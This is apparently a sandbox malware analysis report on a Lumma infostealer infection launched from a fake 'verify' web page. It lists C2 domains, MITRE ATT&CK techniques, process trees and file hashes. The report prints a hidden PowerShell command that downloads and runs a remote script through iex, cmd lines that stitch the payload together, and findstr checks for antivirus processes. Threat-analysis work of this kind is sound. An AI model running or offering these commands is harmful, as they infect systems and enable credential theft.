lumma | hxxps://you-checked[.]com/cf/verify/4683427/check

Analysis

max time kernel
960s
max time network
965s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
08-01-2025 04:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://you-checked.com/cf/verify/4683427/check

Score

10^/10

lumma discovery execution phishing stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ferrydero.com/gopros/verify.txt

Extracted

Family

lumma

https://robinsharez.shop/api

https://handscreamny.shop/api

https://chipdonkeruz.shop/api

https://versersleep.shop/api

https://crowdwarek.shop/api

https://apporholis.shop/api

https://femalsabler.shop/api

https://soundtappysk.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4316 created 2912	4316	Hunt.com	49

Blocklisted process makes network request 3 IoCs

flow	pid	Process
35	4620	PowerShell.exe
36	4620	PowerShell.exe
37	4620	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	PowerShell.exe
4620	PowerShell.exe

A potential corporate email address has been identified in the URL: [email protected]
phishing

Executes dropped EXE 3 IoCs

pid	Process
2328	pujri.exe
5428	bodjro.exe
4316	Hunt.com

Loads dropped DLL 1 IoCs

pid	Process
5428	bodjro.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	api.ipify.org
20	api.ipify.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2064	tasklist.exe
3888	tasklist.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\RrSurf	pujri.exe
File opened for modification	C:\Windows\PhotographicVienna	pujri.exe
File opened for modification	C:\Windows\HrModerator	pujri.exe
File opened for modification	C:\Windows\HttpCore	pujri.exe
File opened for modification	C:\Windows\NailMills	pujri.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3512	4316	WerFault.exe	114

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hunt.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bodjro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pujri.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\Registry\User\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	control.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018527317-446799424-2810249686-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5568	explorer.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1040	msedge.exe
1040	msedge.exe
5360	msedge.exe
5360	msedge.exe
1952	identity_helper.exe
1952	identity_helper.exe
1312	msedge.exe
1312	msedge.exe
4620	PowerShell.exe
4620	PowerShell.exe
4620	PowerShell.exe
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com
1460	svchost.exe
1460	svchost.exe
1460	svchost.exe
1460	svchost.exe
808	msedge.exe
808	msedge.exe
808	msedge.exe
808	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1916	control.exe
Token: SeCreatePagefilePrivilege	1916	control.exe
Token: SeDebugPrivilege	4620	PowerShell.exe
Token: SeDebugPrivilege	3888	tasklist.exe
Token: SeDebugPrivilege	2064	tasklist.exe

Suspicious use of FindShellTrayWindow 30 IoCs

pid	Process
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5568	explorer.exe
5568	explorer.exe
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com

Suspicious use of SendNotifyMessage 15 IoCs

pid	Process
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
5360	msedge.exe
4316	Hunt.com
4316	Hunt.com
4316	Hunt.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5360 wrote to memory of 684	5360	msedge.exe	77
PID 5360 wrote to memory of 684	5360	msedge.exe	77
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 2788	5360	msedge.exe	78
PID 5360 wrote to memory of 1040	5360	msedge.exe	79
PID 5360 wrote to memory of 1040	5360	msedge.exe	79
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80
PID 5360 wrote to memory of 6128	5360	msedge.exe	80

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2912
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://you-checked.com/cf/verify/4683427/check
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff850ba3cb8,0x7ff850ba3cc8,0x7ff850ba3cd8
  2⤵
  PID:684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8
  2⤵
  PID:6128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:5528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:2776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3992 /prefetch:1
  2⤵
  PID:5428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4976 /prefetch:1
  2⤵
  PID:244
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5776 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:1
  2⤵
  PID:4584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4092 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,14775055987706381237,536170037933334398,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=876 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:808

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5192

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3732

C:\Windows\system32\control.exe
"C:\Windows\system32\control.exe" /name Microsoft.AdministrativeTools
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
- System Location Discovery: System Language Discovery
PID:4764

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
PID:5568

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:4976

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://ferrydero.com/gopros/verify.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4620
- C:\ProgramData\Estropo\pujri.exe
  "C:\ProgramData\Estropo\pujri.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2328
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c move Levels Levels.cmd & Levels.cmd
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1320
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3888
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "opssvc wrsa"
      4⤵
      System Location Discovery: System Language Discovery
      PID:428
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2064
  - - C:\Windows\SysWOW64\findstr.exe
      findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4092
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 22694
      4⤵
      System Location Discovery: System Language Discovery
      PID:1680
  - - C:\Windows\SysWOW64\extrac32.exe
      extrac32 /Y /E Heroes
      4⤵
      System Location Discovery: System Language Discovery
      PID:6076
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "AL" Speaks
      4⤵
      System Location Discovery: System Language Discovery
      PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b 22694\Hunt.com + Actors + Competition + Millions + Operates + Wendy + Ships + Ram + Sewing + Groups + Xnxx 22694\Hunt.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:5508
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b ..\Lie + ..\Scary + ..\Performing + ..\Facial + ..\Omega + ..\Driven + ..\Litigation + ..\Addressing + ..\Calendar D
      4⤵
      System Location Discovery: System Language Discovery
      PID:5932
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\22694\Hunt.com
      Hunt.com D
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4316
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4316 -s 948
        5⤵
        Program crash
        
        PID:3512
  - - C:\Windows\SysWOW64\choice.exe
      choice /d y /t 5
      4⤵
      System Location Discovery: System Language Discovery
      PID:5484
- C:\ProgramData\Estropo\bodjro.exe
  "C:\ProgramData\Estropo\bodjro.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4316 -ip 4316
1⤵
PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Estropo\bodjro.exe

Filesize
20KB

MD5
eda008b3d85f740594ee6c58580dc12d

SHA1
50df67bbb388e6e807a13f688b8190d02b40629d

SHA256
82382cbada4b82dbd581b10e06cd826acc4923c1e95325dcbf3904720a9a61bf

SHA512
9011b9f14751086f136d8f11b2a5e99f3a288278d0be66ccddfa0364f7e494165aadffb0542f298791f40bdfe50fe2df196b2a65a4a825c644807851e290e4ce

Download Submit
C:\ProgramData\Estropo\pujri.exe

Filesize
1.2MB

MD5
d5552a55f1ed92076d5448a74a21b0c1

SHA1
87cd27f843037a77b721f3399cd76525313efcdf

SHA256
355084b6583f9918755201f6e54fdee4d49d5dcb3e59c5fac055513a4ec37520

SHA512
863617a83e4be905bf67cb6710b871bcb35235d4c60935a1f1ae126dc49c038e028c179462fb342f4c2d49e6945fa168ab7483ce97002e7d418b46d3ff89153a

Download Submit
C:\ProgramData\Estropo\wincr.dll

Filesize
671KB

MD5
2730df29ffd09125393452bea2fc7109

SHA1
9b83e1b375e2f6614e84ea2c3bdce127cc191f41

SHA256
449844d3497bb58c231051a95b9868a5854e90efe2a683f1fbe42541f9d768c7

SHA512
3b56394d2e3ff8466a00cddb09375057c1aedb5d5ef320a926052155ed3514e175ffcf816ec5d120f834d11cb303bd869ed294eaa9e225e0819ec106d960b0e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
003b92b33b2eb97e6c1a0929121829b8

SHA1
6f18e96c7a2e07fb5a80acb3c9916748fd48827a

SHA256
8001f251d5932a62bfe17b0ba3686ce255ecf9adb95a06ecb954faa096be3e54

SHA512
18005c6c07475e6dd1ec310fe511353381cf0f15d086cf20dc6ed8825c872944185c767f80306e56fec9380804933aa37a8f12c720398b4b3b42cb216b41cf77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
051a939f60dced99602add88b5b71f58

SHA1
a71acd61be911ff6ff7e5a9e5965597c8c7c0765

SHA256
2cff121889a0a77f49cdc4564bdd1320cf588c9dcd36012dbc3669cf73015d10

SHA512
a9c72ed43b895089a9e036aba6da96213fedd2f05f0a69ae8d1fa07851ac8263e58af86c7103ce4b4f9cfe92f9c9d0a46085c066a54ce825ef53505fdb988d1f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
750413d787f4b901ed1b8932cee951c3

SHA1
bf5a13430a14b9391dacdfd5797c58b353142548

SHA256
b785739955ca237d20bd570cebac49276fedbe09602f40bd579d6578956c1291

SHA512
40abb00ec13bea1be991cb5b398225a482d83788c187529b3e88156bbbc10b17a79bce9aae93d3560df65a4fc434ead44465bb9d534c4521afc8fc0eda1e8ac9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
718B

MD5
ade64315350f9c80a57f35221538d141

SHA1
bb7102ab956bd151bdbc30b932bf9040e1a1095b

SHA256
560e119d236862df52343c632567685a3b6f2de5495e65871288afd67f577dda

SHA512
